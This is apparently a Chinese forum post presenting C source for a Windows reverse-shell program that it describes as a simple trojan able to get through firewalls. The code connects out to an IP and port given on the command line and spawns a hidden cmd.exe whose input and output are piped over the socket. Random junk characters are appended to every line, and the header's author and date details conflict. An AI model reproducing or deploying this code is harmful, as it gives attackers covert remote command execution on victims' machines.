这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S}ZM;M
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/* ============================== `ag>4?7?
Rebound port in Windows NT U0UOubA
By wind,2006/7 =f=MtH?0y
===============================*/ 9C3q4.$D
#include k}Ahvlq)
#include |.)dOk,o
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#pragma comment(lib,"wsock32.lib") Hi<{c
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void OutputShell(); 0|P RCq
SOCKET sClient; ,Q >u
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4k<4=E
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void main(int argc,char **argv) uRwIxT2
{ o#H"tYP
WSADATA stWsaData; EZE/~$`3
int nRet; V+cHL
SOCKADDR_IN stSaiClient,stSaiServer; w6v P
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if(argc != 3) om9fg66
{ pH'#v]"
printf("Useage:\n\rRebound DestIP DestPort\n"); bU(t5
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return; U!^\DocAY
} fMI4'.Od
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WSAStartup(MAKEWORD(2,2),&stWsaData); cYmMO[4YG'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Y~fPke
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stSaiClient.sin_family = AF_INET; RY&Wvkjh
stSaiClient.sin_port = htons(0); ;' YM@n
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZGe+w](
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &*/8Ojv)9
{ E(>RmPP=7
printf("Bind Socket Failed!\n"); [:TOU^
return; tDF6%RG
} {pE")O7~P
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stSaiServer.sin_family = AF_INET; D8C@x`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a[[u>oHyd
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j*rra
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z?O aY4
{ h 5t,5e}
printf("Connect Error!"); `lqMifD
return; <s)+V6\E
} 03iO4yOu
OutputShell(); ^SVdaQ{7
} i~ PN(h
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void OutputShell() L&][730
{ k2_ "
char szBuff[1024]; 4:y;<8+j\
SECURITY_ATTRIBUTES stSecurityAttributes; q --NLm@;
OSVERSIONINFO stOsversionInfo; w<.{(1:v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WojZ[j>
STARTUPINFO stStartupInfo; O>lF{yO0`
char *szShell; P`cEu6:
PROCESS_INFORMATION stProcessInformation; (zCas}YAKI
unsigned long lBytesRead; .~4%TsBaY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yf2U-s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u&9|9+"N
stSecurityAttributes.lpSecurityDescriptor = 0; HhH[p E
stSecurityAttributes.bInheritHandle = TRUE; ;vc$;54K
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ''s]6Jjw
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )PVX)2P_C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `7LN?-
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4?jXbC k~x
stStartupInfo.wShowWindow = SW_HIDE; {~.h;'m
stStartupInfo.hStdInput = hReadPipe; ?9i
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sX^m1v~N|
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GetVersionEx(&stOsversionInfo); pMHY2t
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switch(stOsversionInfo.dwPlatformId) 66,?f<b
{ ICTl{|i ]
case 1: ]<WKi=
szShell = "command.com"; XuVbi=pN.2
break; %($sj|_l
default: W+ Z]
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szShell = "cmd.exe"; Z6
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break; dUk^DI,:l
} bu1O<*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9mIq9rQ|*
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send(sClient,szMsg,77,0); w[qWr@
while(1) r%}wPN(?D
{ #5-0R7\d7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .\7R/cP}{A
if(lBytesRead) ,/BBG\mJ
{ lCr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BXiuVx
send(sClient,szBuff,lBytesRead,0); JVD#wwic
} B-
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else Ia*eb%HG
{ 6!
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lBytesRead=recv(sClient,szBuff,1024,0); _S7GkpoK
if(lBytesRead<=0) break; <*<7p{x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t
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} w4<RV:Vmt
} XsQ?&xK=u
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return; n9B1NM5 \
}